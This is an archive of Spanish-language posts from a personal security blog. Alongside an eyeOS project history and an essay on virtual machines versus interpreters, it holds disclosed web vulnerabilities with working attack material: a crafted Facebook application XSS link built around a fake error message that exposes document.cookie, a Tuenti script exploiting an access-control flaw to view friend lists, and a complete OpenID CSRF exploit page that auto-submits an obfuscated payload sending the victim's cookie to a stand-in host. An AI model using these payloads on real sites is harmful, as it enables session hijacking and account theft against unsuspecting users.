Agujero de seguridad en facebook

Hace unos días, hablando con un amigo, le expliqué que a mi parecer, todas las redes sociales son inseguras, que ninguna brinda la suficiente seguridad, como para que yo depositase en ella mis datos, y que por lo tanto, por eso no utilizo facebook, ni nada similar.

Mi amigo, me respondió que facebook era muy seguro, que con los millones de personas que lo usan, seguro que muchos expertos lo habían auditado, a lo que yo le contesté que no se fiase de eso, que sistemas mas grandes, como windows, tienen muchos agujeros de seguridad, y que la seguridad no depende del número de usuarios del sistema.

Al final, todo ello desembocó en una mini discusión y finalmente, en una apuesta. Apostamos a ver si yo era capaz de descubrir un agujero de seguridad en facebook, lo suficientemente peligroso, como para robar información o incluso suplantar a un usuario normal.

Pues bien, hoy, después de solo unas cuantas horas mirando facebook, ya he encontrado el primer agujero de seguridad, un XSS que a priori no parecía explotable, pero que al final, con un poco de picaresca, he conseguido explotar.

El bug consiste en un enlace especialmente preparado, que si el usuario entra, verá su facebook, sin trampa ni cartón, pero en el centro, tendrá un texto que le dice que ha habido un error, y que haga click ahí para continuar, si lo hace, podremos ejecutar código Javascript en el contexto de facebook, y con ello, robar su cookie, por ejemplo.

Es un XSS normal y corriente, pero que requiere que el usuario siga un enlace, lo cual reduce un poco el % de éxito y la peligrosidad, ya que un usuario experto, vería el truco.

El bug reside en ciertas aplicaciones de facebook, hasta donde he podido averiguar, es decir, el usuario debe tener instalado en su facebook, una aplicación, las típicas de encuestas y cosas de esas, una vez con la aplicación instalada y autorizada, este bug solo funciona en algunas aplicaciones, por lo que la forma de proceder es la siguiente:

  1. Mirar que aplicaciones tiene instaladas tu amigo, y ver si alguna está afectada por el bug
  2. Si no tiene ninguna, invitarle a que use alguna que sabes que está afectada por el bug, esto es muy fácil
  3. Una vez el usuario tiene la aplicación afectada instalada, ya podemos proceder.

Ojo, no estamos hablando de una aplicación maligna creada por nosotros, sino de aplicaciones normales y corrientes, de las que usa la gente, las cuales algunas, son inseguras.

Una vez nuestro amigo tiene alguna aplicación vulnerable instalada, solo necesitamos que visite un enlace especialmente preparado, que le mostrará un mensaje de error, y le pedirá que haga click para continuar, ese enlace, es el XSS, que de hacer click, podría permitir robar la cookie, y enviarla a un sitio de terceros.

Yo he hecho la prueba con la aplicación “EreS BuEn PoLvO?” (lo siento, es la primera que vi vulnerable), y el enlace con el XSS, es el que sigue:

http://apps.facebook.com/qeres-buen-pol-ceijh/?target=list&send_id=1517598431&x=24897%22%20href=%22%20javascript:alert(document.cookie);%22%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Ccenter%3E%3Ch1%20style=%22color:red;position:relative;left:-60px;%22%3EA%20ocurrido%20un%20error,%20haz%20click%20aqu%C3%AD%20para%20volver%3C/h1%3E%3C/center%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3C/a%3E%3Cspan%20style=%22

En este ejemplo, el enlace es totalmente inofensivo, si hacemos click en el texto “se ha producido un error…” solo veremos nuestra cookie en un pop up del navegador, pero nuestra cookie no se envía a ningún sitio.

Bastaría con modificar el alert, por un document.location para pasar la cookie a un sitio de terceros.

Como se puede ver, ninguna red social es segura, cualquiera con tiempo, paciencia e imaginación puede aprovecharse de cualquier cosa para suplantarte o robar tu identidad, cuando tu solo has hecho 2 clicks que parecían inofensivos.

Evidentemente, he notificado este agujero a facebook, por lo que en poco tiempo es probable que deje de funcionar (si es que hacen caso).

Para los escepticos: si os parece que esto es poco peligroso (robar la cuenta de alguien con 2 clicks de la victima) lo tenéis muy fácil: salid del blog y seguid con vuestras vidas, esto es un blog de seguridad informática (y frikadas), por lo que poner comentarios diciendo que un XSS no sirve para nada, solo conllevará la eliminación de los mismos.

La historia de eyeOS en imagenes

Seguramente todos los que habitualmente leéis este blog, sabréis que trabajo como desarrollador en el proyecto eyeOS, pero la mayoría no sabréis mucho mas que esto sobre el proyecto.

Algunos, habréis entrado a mirar a la demo que tenemos, otros habréis visitado la página del proyecto, o incluso alguno, se habrá bajado el código, sin embargo, muy pocos conocerán la historia que se esconde detrás de este proyecto español…

eyeOS es un proyecto de software libre, que desarrolla un escritorio virtual online, o también conocido como webtop, además de un conjunto de apis y librerías del sistema, para desarrollar aplicaciones dentro del webtop, con una arquitectura definida, eso es lo que es en la actualidad, pero lo interesante que quiero abordar en este post, es como ha llegado a eso, y como ha sido la vida del proyecto y la gente que lo rodea.

eyeOS nació en Olesa de Montserrat, un pequeño pueblo de los alrededores de Barcelona, en el cual, Pau Garcia-Milà tubo la idea de crear una web, que realmente fuese un escritorio, en el cual tu pudieses acceder a tus documentos, siempre y cuando, tuvieses acceso a la web. Por aquel entonces, Pau era un joven de 16 o 17 años, estudiante, con muchas ideas en la cabeza, y que programaba pequeñas cosas en sus ratos libres.

Empezó a darle vueltas a la idea, y al poco tiempo estaba trabajando, creando la que sería la primera versión de eyeOS, escogió programarlo en PHP (por aquel entonces, PHP4), al poco tiempo, se le unieron David Plaza y Marc Cercós, ambos diseñadores gráficos de Olesa.

El día 31 Julio del 2005, vio la luz la primera versión de eyeOS, numerada como 0.6.0.

eyeOS 0.6.0

eyeOS 0.6.0

Técnicamente esta versión era muy, pero que muy limitada, no podía ejecutar mas de una aplicación a la vez, no tenía ningún tipo de API unificada ni nada, sin embargo, lo que para unos eran unos cuantos centenares de lineas en PHP y XHTML, para muchos otros, era el principio de una idea que cambiaría la forma que tenemos de ver la informática… el tiempo, como veremos mas adelante, le dió la razón a uno de los dos…

Un detalle curioso de la 0.6.0 es que no tenía instalador, venía con usuario root, y password ‘r’ por defecto, había que entrar y cambiarla en primer inicio de sessión.

En esta primera versión, el trabajo de desarrollo, fue completamente de Pau, ya que no había ningún otro programador relacionado con el proyecto, y el trabajo de diseño gráfico, era básicamente de David Plaza, ya que Marc, aún estaba aprendiendo.

La licencia, fue desde el primer momento GPL, una de las cosas que Pau siempre tubo claras, es que eyeOS sería libre, no se bien bien por que, pero nunca tubo ningún tipo de duda entorno a esto, al final, los acontecimientos le demostraron que estaba en lo correcto.

Continuaron saliendo revisiones con arreglos, de eyeOS 0.6.0, hasta el 15 de agosto del mismo año, que vio la luz la versión 0.7.0:

eyeOS 0.7.0

eyeOS 0.7.0

Esta versión era básicamente una 0.6.0 mejorada, las ventanas tenían ya por fin botones minimizar y maximizar, y se podían redimensionar usando la esquina inferior derecha. En general, durante todo este tiempo, eyeOS no fue cambiando mucho, solo se iban agregando cosas pequeñas.

Y no fue hasta el 6 de septiembre del mismo año, que las cosas empezaron a cambiar…apareció la versión 0.8 del proyecto, por primera vez, con colaboración de un programador externo, que decidió colaborar altruistamente, Antoni Segura.

Otro programador externo, que empezaba a mirar el proyecto, a opinar y que posteriormente, colaboraría muy activamente, programando partes muy importantes del sistema, fue Hans B. Pufal, un francés informático de la vieja escuela, con experiencia en proyectos de software libre tan variados como NetBSD y GNU Tar.

Esta nueva versión incluía por fin, un instalador, en lugar de una contraseña de root por defecto, además, era posible abrir mas de una aplicación a la vez, aunque cada vez que abrías una aplicación nueva, se recargaban todas, pero era un principio.

eyeOS 0.8.0

eyeOS 0.8.0

Por aquel entonces, Marc continuaba aprendiendo, y poco a poco, iría tomando mas protagonismo en el proyecto, como diseñador principal, aunque de momento, el diseñador principal era David Plaza.

La versión 0.8.x de eyeOS, vivió durante mucho tiempo, hasta abril del 2006, con continuas versiones de revisión, mejoras etc, como por ejemplo la 0.8.8 donde se agregaron muchísimas mejoras técnicas y visuales.

eyeos_088

eyeOS 0.8.8

Durante todas estas revisiones y versiones de eyeOS 0.8.0, se fueron agregando traducciones del sistema, manuales, documentación, etc, y así, poco a poco, pasó de ser una idea, a ser un proyecto de software libre, o al menos, a empezar a serlo, pues a aun le quedaba un largo camino por delante.

El día 8 de Junio del 2006, vio la luz la versión 0.9.0 de eyeOS, con Hans colaborando de forma muy activa, programando colaborativamente con Pau, y Marc cada vez mas inmerso en el diseño de eyeOS, tomando mas y mas responsabilidades y encaminándose a ser el diseñador gráfico principal del proyecto.

eyeOS 0.9

eyeOS 0.9

Esta versión incluia ya un gestor de ficheros mucho mas avanzado que las anteriores, una emulación de multitarea mucho mas elaborada, y por primer vez, se incluía el editor WYSIWYG Tinymce como editor de texto del sistema.

Mas o menos por estas fechas conocí yo el proyecto, en una primera impresión me pareció increíble, pero al ver el código me desanimé bastante, era ciertamente, muy malo. Estuve varios días debatiéndome entre ayudar al proyecto o no, y finalmente, me decidí a auditarlo.

Empecé a sacarle agujeros de seguridad, que reportaba a Pau por correo, y así empezamos a entablar cierta amistad, en una extraña relación, nunca nos habíamos visto, aunque ambos vivíamos en los alrededores de Barcelona, pero hablábamos bastante, yo le reportaba agujeros de seguridad, el los arreglaba…y así estuvimos bastante tiempo.

Mientras tanto, iban apareciendo revisiones de la versión 0.9, cada vez mas y mas elaboradas.

eyeOS 0.9.3

eyeOS 0.9.3

Las mejoras entre versión y versión eran abrumadoras, cada vez estaba todo mas documentado, mejor organizado, y el sistema era mas bonito, sin embargo, la base sobre la que todo estaba montada, era un código muy malo, una prueba, un experimento que había ido a mas y mas, y que cada vez, era mas difícil sostener.

Durante todos estos meses, yo reportaba muchísimos agujeros de seguridad a Pau, todos consecuencia de la mala (o inexistente arquitectura del sistema), pero sin embargo fui cogiendo perspectiva, y entendiendo que lo que habían hecho Pau, y Hans tenía muchísimo merito, que no se trataba del nivel técnico del proyecto, ya que eso se podía arreglar, sino de como habían ido dando forma a una idea en la que mucha gente no creía por aquel entonces, y la habían hecho realidad.

Y fue alrededor de esos últimos días del 2006, que iban saliendo revisiones de 0.9, en los que fuí a Olesa por primera vez, y conocí a Pau (ese día aún no conocería a Marc ni a David Plaza).

Esa tarde Pau me habló de muchas cosas, pero yo llevaba una idea en la cabeza…había comprendido que eyeOS era una buena idea, y quería empezarlo todo de 0, con una buena arquitectura ,bien planteado, y bien programado, sin embargo, me parecía muy fuerte ir a su pueblo, a decirle que quería tirarlo todo a la basura, y empezar de 0, sin embargo lo hice, se lo dije, y Pau sorprendentemente, me dijo que estaba de acuerdo.

Ese seguramente fue uno de los momentos mas críticos de la historia del proyecto, si Pau me hubiese dicho que no, había pensado hacerlo por mi cuenta, y sabe dios como hubiesen sido las cosas entonces…

Tras la charla con Pau, estaba claro que se iba a rehacer eyeOS, y no se iba a aprovechar nada, yo ya estaba decidido a unirme al proyecto activamente, sin embargo, enseguida vi que dos programadores y dos diseñadores gráficos, seríamos pocos para crear lo que tenía en la cabeza…así que Pau contactó con un compañero suyo de la universidad, Daniel Gil, que se unió al proyecto como programador, aunque su experiencia programando era muy pequeña.

Yo hablé con mi amigo Alejandro Fiestas (actualmente desarrollador de KDE en su tiempo libre), y le propuse mi idea, y finalmente, accedió a unirse al proyecto.

Eramos ya 4 programadores, con lo que no conté es que Pau no era un entusiasta de la programación, mas bien era un visionario, alguién con mucha visión de futuro, pero poco técnico. Dani tampoco era muy técnico, y Alex si lo era, pero no tenía experiencia en PHP, la cosa no pintaba bien.

Me encerré en mi habitación durante meses (casi literalmente) y senté las bases del nuevo eyeOS, al que llamaríamos 1.0. Un sistema microkernel con módulos cargados bajo demanda, de forma transparente, donde las aplicaciones son en PHP, y dibujan sus interfaces gráficas usando Widgets (al estilo Qt o Gtk), que son clases PHP con su representación DHTML. Además diseñe un sistema de message/response para comunicar las interfaces gráficas con el sistema.

Una vez hecho todo esto, fuimos entre los 4 programando muchas partes del sistema.

Una anécdota curiosa es que la primera aplicación que se ejecutó con éxito en un eyeOS 1.0, fue un Solitario (el juego de cartas), era una prueba, que nunca vería la luz.

Durante aquellos meses, desarrollábamos en un SVN privado, para no romper la sorpresa, ya que el SVN de sourceforge, es abierto.

Mientras estábamos inmersos en el desarrollo de 1.0, en un ambiente de secretismo, en la comunidad de eyeOS empezaban a pensar que el proyecto había muerto, mucha gente hablaba del final de eyeOS.

Y finalmente, muy poco antes de sacar la nueva versión, echa desde 0, sucedió la segunda situación crítica para el proyecto, Marc se situó como líder de diseño de eyeOS, y David Plaza, acabó dejando el proyecto, al verse sustituido. A partir de ese día, todo el diseño e imagen de eyeOS, han sido fruto del trabajo e imaginación de Marc.

El día 4 de junio del 2007 eyeOS 1.0 fue publicado:

eyeOS 1.0

eyeOS 1.0

La noticia fue un boom en internet, el blog de Richard MacManus, ReadWriteWeb, publicó la noticia del lanzamiento, la cual llego a la portada de digg, con 1132 votos.

Sin embargo, poco después del gran día, eyeOS sufrió otro revés, Eduardo Perez, que había hecho las veces de asesor para convertir el proyecto en un producto maduro, desde la perspectiva empresarial, decidió dejar el proyecto, y dado que siempre estaba viajando, yo nunca tuve el placer de conocerle, aunque se que fue una de las personas mas importantes para el proyecto, en la época de las versiones 0.x.

Y esto empezaba a convertirse en una leyenda negra que se cernía como eyeOS, el pequeño equipo del proyecto, entre David Plaza y Eduardo Perez, ya había sufrido dos bajas a causa de la versión 1.0, lo cual me llevó a preguntarme si estaba haciendo bien las cosas, pero finalmente imagino que fueron casualidades.

Además, Hans B. Pufal se había alejado del proyecto, ya que no participó en el desarrollo de 1.0, y finalmente, acabó estando fuera completamente.

Tanta gente dejando el proyecto y una nueva versión completamente reescrita de 0, estaban creando un clima en el proyecto, en el que todos intuíamos que una nueva época estaba empezando alrededor de eyeOS, aunque aún no sabíamos cuan grande sería el cambio.

Durante 2007 fuimos sacando versiones, mejoras muy variadas, nuevas aplicaciones, mas velocidad en el sistema etc..

eyeOS 1.6

eyeOS 1.5

Durante el 2007, eyeOS mejoró muchísimo, Marc cada vez iba siendo mas profesional, creando diseños muy elaborados y completos, Dani iba adquiriendo experiencia en PHP y empezaba a crear aplicaciones complejas en el sistema, Alex era ya todo un “hacker” de Javascript y PHP, habiendo creado el calendario de eyeOS, el cual todavía mantiene, entre otras muchas cosas.

Yo había progresado mucho técnicamente, pero además, había aprendido que no existe la arquitectura perfecta, eyeOS 1.x era una versión perfecta, pero veía que siempre podía ser mejor, que siempre podía hacerlo mejor…veía que era el cuento sin final, esto me cambió mucho profesionalmente y como persona, aprendí a aceptar un nivel de calidad determinado, y dejé de perseguir la perfección, fue entonces cuando comprendí lo que Pau sentía de su anterior sistema eyeOS 0.x, que por mucho que te esfuerces, siempre puede ser mejor.

Con tanto cambio, Pau cada vez programaba menos, hasta que alrededor de eyeOS 1.5 o un poco antes, ya no programaba nada, y empezó a hacer otras cosas, a ser la cara pública del proyecto, a dar conferencias etc.

Durante ese tiempo, eyeOS se formó como empresa con Pau, Marc, Alex, Dani y Yo como fundadores, y empezó a ofrecer servicios de pago, adaptaciones, desarrollos a medida, instalaciones, etc.

Pronto empezamos a crecer, y tener empleados, y en la actualidad, después de toda esta historia, yo dirijo el departamento técnico, donde desarrollamos soluciones profesionales para terceros, Alex dirige la comunidad y el proyecto de software libre, Dani dirige el departamento de soporte y las comunicaciones con los clientes, Marc el departamento de diseño, y Pau es una mezcla entre presales y director general adjunto.

Durante 2008 se nos unió Pol Watine, un francés con muchísima experiencia en el sector de internet y empresas, que nos ayudó a crear, organizar y hacer funcionar la empresa, y nos enseñó muchísimas cosas sobre startups, actualmente es parte del equipo fundador.

Dentro de poco saldrá la nueva versión de eyeOS, 1.8.5 fruto de muchísimo trabajo por parte de todo el equipo:

eyeOS 1.8.5

eyeOS 1.8.5

Creo que es bueno reflexionar y ver que detrás de proyectos y empresas de software, existen personas, aventuras, ideas que en su día parecieron locuras, sueños…y que todo eso se junta de alguna forma mágica, y si se dan una serie de casualidades, si todo sucede en el orden exacto, el proyecto prospera, y que si solo una de esas cosas falla, todo se derrumba, sin embargo existe un tipo de persona especial, como Pau, que es capaz de quedarse en los peores momentos, y levantar la moral a todo el mundo. Ese tipo de personas, marcan la diferencia entre el éxito y el fracaso.

Estoy orgulloso de lo que he hecho en eyeOS, pero mucho mas de trabajar con gente como Pau, Alex o Marc, que en la actualidad, y después de tanta aventura, son grandísimos profesionales.

Quería explicar muchísimo mas, pero el artículo es demasiado largo ya, y me he dejado por el camino, olvidados a muchísima gente que ha sido importante para eyeOS, pero es imposible nombrarlos a todos aquí, la historia de eyeOS es demasiado larga para un artículo de mi blog :)

Me he olvidado de contar la historia de Lars, un alemán que desde los 15 años se fascinó por eyeOS y empezó a programar para el, de forma completamente increíble para su edad, o de Matthew Powel, o de Daniel Sousa, o de todos los empleados que hacen crecer a eyeOS día a día, pero si os interesa conocer realmente eyeOS, lo mejor es que os unáis y participéis en la comunidad, o en sus foros.

eyeOS continua progresando, stay tuned!

La paradoja de la máquina virtual y el interprete

Nota: durante todo el artículo se habla de máquina virtual de proceso, es decir, por ejemplo, la de Java, no de sistema, por ejemplo, VirtualBox.

Hace tiempo, estaba hablando con un amigo, y hablando hablando, se de pronto nos surgió una paradoja, que nos dejó de piedra…

Todo empezó cuando uno de los dos (no recuerdo cual) dijo que no era lo mismo una máquina virtual, que un interprete, y el otro, le contestó: claro que no, joder, eso es de informática básica, por dios.

Pero se hizo el silencio, ambos estábamos buscando rápidamente en nuestra cabeza una diferencia clave, una diferencia demoledora entre máquina virtual e interprete, pero no dábamos con ella, dimos con algunas, evidentemente, pero todas, nos dimos cuenta enseguida, o bien eran diferencias entre implementaciones concretas, por ejemplo, entre la VM de Java y el interprete de PHP, o bien eran diferencias filosóficas, en plan: la VM está pensada para ser…

Tras un rato de silencio, uno de los dijo:

¿Y cual es la diferencia técnica de base, entre una máquina virtual, y un interprete?

La pregunta sonaba de los mas absurdo, ambos sabíamos perfectamente lo que es un compilador, un pre-compilador, etc, vaya, no era un problema de falta de conocimientos en ese ámbito, pero notábamos que algo fallaba…que no dábamos con esa diferencia de base, que diferencia cosas que todo informático, sabe que son como la noche y el día.

Tras pensarlo un rato, yo dije: está claro! La máquina virtual ejecuta código medio, mientras que el interprete procesa código de alto nivel. Es decir, uno procesa código de bajo nivel, y otro de alto nivel. Pero mi amigo enseguida desmontó mi teoría hablando de Javascript.

Los interpretes de javascript, por como funcionan, son llamados máquinas virtual, por ejemplo:

http://code.google.com/p/v8/

Se puede leer claramente como google se refiere a su V8 como VM (virtual machine).

Bueno, entonces si ambos pueden procesar el mismo tipo de código, que diferencia hay?

Tras pensar un rato, mi colega dijo: la VM está pensada para abstraer al programa del hardware, y yo contesté: y PHP no? y perl no? Es exactamente lo mismo.

Durante mucho rato, fueron surgiendo ideas e ideas, pero todas, eran diferencias filosóficas, diferencias entre cierto interprete, y cierta VM…pero nunca algo genérico, aplicable a cualquier VM.

Al llegar a casa, fui a wikipedia, a sentir como si volviese a estudiar informática de nuevo, y abrí la siguiente página en el navegador:

http://en.wikipedia.org/wiki/Virtual_machine#Process_virtual_machines

Y leo la siguiente frase, muy interesante: Process VMs are implemented using an interpreter;

Según la wikipedia, lo que sucede es que una VM utiliza internamente un interprete, es decir, una VM es un interprete, y algo mas, veamos que mas:

A process VM, sometimes called an application virtual machine, runs as a normal application inside an OS and supports a single process

Eso, se puede aplicar al interprete de Python, de perl, etc.

It is created when that process is started and destroyed when it exits.

Vale, igual que el interprete de python o php.

Its purpose is to provide a platform-independent programming environment that abstracts away details of the underlying hardware or operating system, and allows a program to execute in the same way on any platform.

Vale, como TCL, por ejemplo, que es un interprete. O cualquier otro interprete, vaya.

performance comparable to compiled programming languages is achieved by the use of just-in-time compilation.

Vale, tal como hace python, no? los famosos .pyc

Después de todo esto, al final llegamos a la siguiente conclusión: no existe una diferencia técnica entre máquina virtual de proceso e interprete, es una diferencia de concepto, es decir, quien hace una VM, tiene una forma de pensar, y quien hace un interprete, otra, y eso, se refleja en el resultado final, pero como conceptos base, no encontramos diferencia.

Aprovechando una charla con un developer de mono, mi colega le preguntó sobre esta paradoja, que parece algo evidente, pero que no conseguimos resolver, y no nos dejaba vivir, el developer, tras pensarlo un buen rato, nos dijo que la diferencia era en como finaliza un interprete, y como finaliza una máquina virtual, al finalizar, la máquina virtual puede no finalizar (a diferencia de lo que nos había dicho wikipedia) y el interprete debe finalizar.

Pero esto no nos convencía, es algo mas de implementación que de concepto, y podría existir un interprete que no finalizase, sino esperase mas scripts para ejecutar.

Al final, comido por las dudas, viví agobiado un tiempo, hasta que un día, di con la respuesta, y era bastante tonta, ciertamente.

Una vez con la respuesta, se me ocurrió una idea, llevar la pregunta al meneame (craso error):

http://meneame.net/notame/jcarlosn/119061

Y un par de usuarios, tal como me esperaba, ante lo evidente que parece la pregunta en primera instancia, me tacharon de ignorante, de no saber lo que era un compilador, etc etc…pero a la hora de dar una respuesta, me dieron la siguiente: Una máquina virtual ejecuta código intermedio, no entendible por el ser humano, mientras que un interprete ejecuta código de alto nivel, entendible por el ser humano.

Esta respuesta se cae por su propio peso, en primer lugar, eso depende de la implementación de VM, por ejemplo, la V8 de google, incluida en chrome, ejecuta código javascript, de alto nivel, en segundo lugar, para procesar el MSIL, por poner un ejemplo, la plataforma .net, utiliza un interprete, eso es evidente.

Al final, después de mucho dolor de cabeza e intrigas, tengo una bonita paradoja que me sirve para diferenciar a informáticos que van de superdioses, de la gente que realmente sabe.

Siempre que he hecho está pregunta a un desarrollador de algún proyecto de software libre, se lo ha pensado, a contestado, y alguno, ha dado en el clavo, mientras que siempre (al menos de momento) que se la he hecho a un estudiante o joven informático español, se ha réido de mi, me ha descalificado, se ha reído de la pregunta, pero finalmente, no la ha contestado.

De hecho, otro dato curioso de la paradoja, es que de momento el 100% de los preguntados estudiantes de informática españoles, responden asumiendo que hablamos de la VM de Java, enhorabuena a los de marketing de SUN. :)

Por cierto, una nota para que nadie se ofenda, no quiero decir que ningún estudiante de informática español pueda contestar esto, sino que yo he tenido una mala experiencia :)

Tuenti solventa todos los agujeros de seguridad comunicados

No suelo hacer entradas cortas y sin contenido (sin experimentos, bugs, o cosas raras), pero creo que la historia del bug de tuenti, merece explicar el desenlace.

tuenti

Continuando con el anterior post, sobre un agujero de seguridad en tuenti, durante estos últimos días he estado en contacto con Ícaro Moyano, director de comunicación de tuenti, el cual ha mostrado mucho interés y ha sido muy proactivo y comunicativo para solventar cuanto antes los errores de seguridad.

Aparte del problema con los amigos, existían otros agujeros de seguridad de tipo XSS, en la gestión de eventos de la web, permitiendo crear un evento, y al mandar la invitación a un tercero, robarle la cookie y con ello, su sesión.

A diferencia de lo que suele pasar al contactar con ciertas compañías, toda la gente de tuenti ha sido muy amable y comunicativa, y se ha preocupado muchísimo por solventar todos los errores cuanto antes.

En contraposición con esto, se está creando una falsa imagen negativa en la red, sobre la seguridad en tuenti, ya que mucha gente empieza a pensar que dicha red social es insegura, solo por que se le encuentran problemas de seguridad. La realidad es que todos los servicios 2.0 tienen agujeros de seguridad, absolutamente todos, lo que hace seguros a unos, e inseguros a otros, es como actúan ante ellos, y en el caso de tuenti, ha sido impecable.

Ahora tuenti es un poquito mas seguro :)

Agujero de seguridad en Tuenti

Normalmente no frecuento las webs sociales, como Tuenti, o Facebook, sin embargo, hoy me ha dado por cotillear un poco a unos amigos, que tienen tuenti.

El tuenti es entretenido, tanto que me he puesto a cotillear y no he parado, sin embargo, ha llegado un momento, que para continuar mi cotilleo, me hubiese sido útil poder ver la lista de amigos de alguien que no es mi amigo, sin embargo, en teoría eso no se puede…

Me he puesto a investigar, y he comprobado que para ver la lista de amigos de un amigo tuyo, utilizas un link tal como:

http://www.tuenti.com/#m=amigos&uid=X

Donde X es el uid (el número identificador único de tu amigo).

Lo interesante, es que si en lugar del número uid de nuestro amigo, ponemos cualquier otro, podemos ver también la lista de sus amigos.

Parecía que ya lo tenía todo, que ya podía ver quien era amigo de fulanito, pese a que fulanito no me tenía como amigo a mi…sin embargo, es muy incomodo ir mirando el uid de fulanito para ver quien es su amigo y quien no…por ello, me decidí a crear un script greasemonkey que agrega un botón ‘Ver amigos sus amigos’ al lado del botón ‘Agregar amigo’ de un contacto que no es tu amigo.

El script greasemonkey es este:

// ==UserScript==
// @name           tuentihacks
// @namespace      tuenti
// @include        http://www.tuenti.com/*
// ==/UserScript==

var column = document.getElementById(‘column-550′);
var els = column.getElementsByTagName(‘a’);

myRe = /addFriend\(([0-9]+)/g;
for (var i = 0; i < els.length; i++) {
var clk = els[i].getAttribute(‘onClick’);
var arr = myRe.exec(clk);
if(arr) {
var id = arr[1];
var btn = document.createElement(‘a’);
btn.setAttribute(‘href’,'http://www.tuenti.com/#m=amigos&uid=’+id);
btn.className = ‘blue’;
btn.innerHTML = ‘ | Ver sus amigos’;
els[i].parentNode.appendChild(btn);
}
}

Un screenshot en funcionamiento:

imagen-42

Realmente, tuenti tiene mas bugs que he encontrado, pero son mas serios y esos los comunicaré por privado a sus administradores, he decidido publicar este, por que no es ningún drama, y es gracioso :)

Actualización: La gente de tuentiadictos ha tenido la amabilidad de colgar el script por separado para que sea mas fácil instalarlo en greasemonkey, podéis instalarlo desde aquí.

Vulnerabilidad XSS en google image labeler (no explotable)

Bueno, tras mucho tiempo sin actualizar el blog, por motivos personales… hoy he decidido volver a escribir por aquí.

Han pasado muchas cosas desde que escribí la última entrada del blog…me he comprado una blackberry storm, un macbook 5.1…etc, ya jugaré con ellos y publicaré como siempre, mis descubrimientos.

El caso es que hoy me ha pasado algo curioso, estaba buscando una imagen en google image search, cuando veo que debajo hay un link a una nueva herramienta de google, llamada google image labeler, donde te pones un nick, y tagueas imágenes, consiguiendo puntos.

Esta herramienta es sencilla, se basa en que como hay muchas personas usando google image labeler, te muestran una imagen a ti, y una imagen a otra persona, ambos sugerís tags sobre la imagen, y los que coincidan, se aceptan como tags válidos, de esta forma, no se pueden meter tags basura, ya que para que te acepten un tag sobre una imagen, otro usuario escogido al azar, debe sugerir el mismo tag que tu.

La idea es muy buena, estuve jugando un rato y agregué tags a unas 200 imágenes sin darme cuenta, es entretenido.

El caso es que en la pantalla principal, cuando entras, te pide que introduzcas un nick para jugar, en ese campo, si introduces código html, por ejemplo:

“><hr>

Dicho código se ejecuta en el contexto de la página, produciendo lo que conocemos como XSS (Cross Site Scripting). Además, esto solo sucede si al introducir el nick, pulsamos intro (enter), si pulsamos sobre el botón ‘Ok’, los caracteres especiales se filtran, sin que se produzca el XSS.

xss en google image labeler

XSS en google image labeler

Es un bug curioso, que se filtre si pulsas Ok, pero no cuando pulsas intro en la caja de texto, seguramente no es explotable (o yo no he sabido ver la manera…), pero tiene su gracia ver una página con un XSS, y en la barra de direcciones, google.com.

Como vemos, nadie está a salvo de los despistes, en este caso parece ser que es inofensivo, pero este tipo de despistes (filtrar en un sitio si, en otro no) son muy muy peligrosos cuando desarrollamos.

Problema de seguridad muy grave en el OpenID de Weblogs SL

Seguramente todos conozcáis OpenID, un sistema de identificación digital descentralizado, o dicho de otra forma: una forma de identificarte en una web, si no lo conoces, seguramente te cueste entender este artículo.

OpenID se utiliza en muchos sitios, por ejemplo, cuando pones un comentario en genbeta, necesitas proporcionar una url de OpenID, que sirva para identificarte, si no tienes una, te sugiere que te la crees aquí:

http://openid.blogs.es/

Esa página, te permite identificarte y gestionar la información asociada a tu cuenta OpenID, además, si no tienes una cuenta, puedes crearla ahí mismo.

Como OpenID es descentralizado, cualquiera puede montar su servidor OpenID, como ese que puse arriba, que utilizan en genbeta, y que lo gestiona weblogs sl.

El caso, es que existen muchas implementaciones de OpenID, entre ellas, existe una libre en PHP, alojada aquí. Que como bien dice la propia página, ese software ya no está mantenido, está abandonado.

Sin embargo, en su día fue un script muy popular, y muchos servidores, no solo weblogs sl, sino también openid.es utilizan ese script.

Al ver que estaba tan extendido, decidí auditarlo, me bajé el código, y encontré varios errores MUY graves, seguramente el mas notable es un CSRF, que haciendo una petición POST, nos permite modificar los datos del usuario, sin ningún tipo de número de control o comprobación sobre el referer.

Esto, sumado a que uno de los campos del perfil del usuario, de los que podemos alterar con el CSRF, tiene un bug XSS que nos permite inyectar código, hace que podamos imaginarnos un ataque así:

  1. La victima visita una web
  2. La web crea un iframe invisible, donde se carga un document HTML que hace una petición post al OpenID, pidiendo cambiar su información asociada a su cuenta, en este caso, su nombre, que es el campo que tiene XSS, el que nos permite inyectar código HTML
  3. Se modifica el nombre y apellidos asociado a la cuenta de la víctima, sin que esta vea nada
  4. Se ejecuta el código Javascript inyectado en el campo nombre, redireccionado a la víctima a una web de terceros, y pasando la cookie vía GET, para recogerla en el otro lado

Con esto, podemos robar cualquier cuenta de OpenID (en un servidor que utilice esta implementación vulnerable) solo con que una persona autenticada en OpenID, visite nuestra web.

Como se habla mucho de bugs de este tipo, y nunca se dan ejemplos, me decidí a crear un exploit, un archivo html, que al visitarlo estando logueado en http://openid.blogs.es/, te roba la cookie y la envía a otra web (a www.e.com, es una web ficticia), el código es algo así:

<html>
<head>
<script>
function attack() {
//document.location=”http://www.e.com/?c=”+document.cookie;
//encoded
document.getElementById(‘profilename’).value = ‘”><script>eval(String.fromCharCode(100,111,99,117,109,101,
110,116,46,108,111,99,97,116,105,111,110,61,34,104,116,116,
112,58,47,47,119,119,119,46,101,46,99,111,109,47,63,99,61,34,
43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,
59));<\/script>’;
document.forms[0].submit();
}
</script>
</head>
<body onload=”attack();”>
<form method=”POST” action=”http://openid.blogs.es”>
<input type=”hidden” name=”action” value=”account”/>
<input type=”hidden” id=”profilename” name=”profile[fullname]” value=”"/>
</form>
</body>
</html>

Podéis bajarlo en texto plano aquí:

exploit

